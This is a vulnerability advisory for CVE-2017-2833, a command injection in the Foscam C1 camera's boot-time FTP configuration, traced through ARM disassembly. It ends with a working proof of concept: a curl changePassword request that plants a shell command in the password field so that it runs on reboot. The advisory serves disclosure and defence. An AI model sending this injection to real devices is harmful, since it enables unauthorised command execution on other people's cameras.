CVE-2017-2833
An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary shell characters resulting in command injection during the boot process. To trigger this vulnerability, an attacker needs to send an HTTP request and reboot the device.
Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5
8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market.
The “webService” binary is launched on device boot and takes care of starting several other executables, e.g. the HTTP daemon, and it takes care of configuring the FTP server. Before calling main(), the dynamic linker calls all the functions defined in the .init_array, one after the other. “webService” contains 35 different initialization functions: this advisory describes a vulnerable path in the function sub_1E6A4 [1].
.init_array:0009D2D0 DCD sub_1360C
.init_array:0009D2D4 DCD sub_137C4
.init_array:0009D2D8 DCD sub_1E6A4 ; [1]
.init_array:0009D2DC DCD sub_23A00
...
.init_array:0009D358 DCD sub_70044
sub_1E6A4 takes care of initializing several objects that will be used in the future and starts several threads to handle the communication with other applications running on the device. It also loads the user accounts [2] and configures the FTP server [3].
.text:0001E6A4 sub_1E6A4
.text:0001E6A4 10 40 2D E9 STMFD SP!, {R4,LR}
...
.text:0001E6B0 2D D2 FF EB BL std::ios_base::Init::Init(void)
...
.text:0001E748 9D 1B 00 EB BL sub_255C4 ; [2]
...
.text:0001E844 08 DC 00 EB BL sub_5586C ; [3]
...
sub_5586C calls two functions: one for reading the configuration file (which only contains the FTP port number) [4], and one which configures the FTP database with existing user accounts [5]. This last one is the vulnerable function.
.text:0005586C sub_5586C
.text:0005586C 1C 30 9F E5 LDR R3, =off_86680
.text:00055870 10 40 2D E9 STMFD SP!, {R4,LR}
.text:00055874 00 30 80 E5 STR R3, [R0]
.text:00055878 00 40 A0 E1 MOV R4, R0
.text:0005587C 8C FF FF EB BL sub_556B4 ; [5]
.text:00055880 04 00 A0 E1 MOV R0, R4
.text:00055884 01 FF FF EB BL ftpServerReadConfigFile_4d490 ; [4]
.text:00055884
.text:00055888 04 00 A0 E1 MOV R0, R4
.text:0005588C 10 80 BD E8 LDMFD SP!, {R4,PC}
sub_556B4 first calls [6] for loading user accounts from “/mnt/mtd/app/config/UserAccountConfig.bin”. It then loops [7] over each account and checks for the privilege level. If the privilege is 2 [8], the service will build a format string using “sh /usr/bin/ftpd/configFTP.sh 1 %s %s” [9] and the username [10] and password [11] pair, without sanitizing the parameters. Once this is done, the string will be passed to the system call at [12]. Due to the service not enforcing any restrictions on the character set, this can allow an attacker to inject arbitrary characters that may be interpreted by the Bourne shell which can allow for one to execute arbitrary commands.
.text:000556B4 sub_556B4
.text:000556B4
.text:000556B4 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR}
.text:000556B8 26 DD 4D E2 SUB SP, SP, #0x980
.text:000556BC 04 D0 4D E2 SUB SP, SP, #4
.text:000556C0 08 40 8D E2 ADD R4, SP, #0x9A0+var_998
.text:000556C4 04 00 A0 E1 MOV R0, R4
.text:000556C8 BD 3F FF EB BL sub_255C4 ; [6]
...
.text:00055790 17 00 00 EA B loc_557F4
.text:00055794
.text:00055794 loc_55794
.text:00055794 0C 30 95 E5 LDR R3, [R5,#0xC]
.text:00055798 02 00 53 E3 CMP R3, #2 ; [8]
.text:0005579C 12 00 00 1A BNE loc_557EC
.text:000557A0 59 7E 8D E2 ADD R7, SP, #0x9A0+var_410
.text:000557A4 04 70 87 E2 ADD R7, R7, #4
.text:000557A8 00 10 A0 E3 MOV R1, #0
.text:000557AC FA 2F A0 E3 MOV R2, #0x3E8
.text:000557B0 07 00 A0 E1 MOV R0, R7
.text:000557B4 CB F5 FE EB BL memset
.text:000557B8 10 30 95 E5 LDR R3, [R5,#0x10] ; [11]
.text:000557BC 00 30 8D E5 STR R3, [SP,#0x9A0+var_9A0]
.text:000557C0 07 00 A0 E1 MOV R0, R7
.text:000557C4 FA 1F A0 E3 MOV R1, #0x3E8
.text:000557C8 90 20 9F E5 LDR R2, =str.sh_configFTP ; [9]
.text:000557CC 08 30 95 E5 LDR R3, [R5,#8] ; [10]
.text:000557D0 44 F4 FE EB BL snprintf
.text:000557D4 07 00 A0 E1 MOV R0, R7
.text:000557D8 5B F3 FE EB BL system ; [12]
...
.text:000557EC loc_557EC
.text:000557EC 01 80 88 E2 ADD R8, R8, #1
.text:000557F0 0C 50 85 E2 ADD R5, R5, #0xC
.text:000557F4
.text:000557F4 loc_557F4
.text:000557F4 7C 39 9D E5 LDR R3, [SP,#0x9A0+var_24]
.text:000557F8 03 00 58 E1 CMP R8, R3
.text:000557FC E4 FF FF BA BLT loc_55794 ; [7]
This vulnerability is reachable during the boot process. To trigger it, a command injection must be placed either in the username or in password field of the account. This can be done by the “changePassword” command, which requires a valid user account to change the password for:
```
$ sUsr="admin"
$ sPwd=""
$ sNewPwd=`perl -MURI::Escape -e 'print uri_escape(";echo y>/tmp/www/injected.txt")'`
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${sUsr}&pwd=${sPwd}&cmd=changePassword&usrName=${sUsr}&oldPwd=${sPwd}&newPwd=${sNewPwd}"
```
The device should then be rebooted using other means, and the command will be executed upon boot. Note that any command that alters username and password can be used, for example the “addAccount” command.
2017-05-08 - Vendor Disclosure
2017-06-19 - Public Release
Discovered by Claudio Bozzato and another member of Cisco Talos.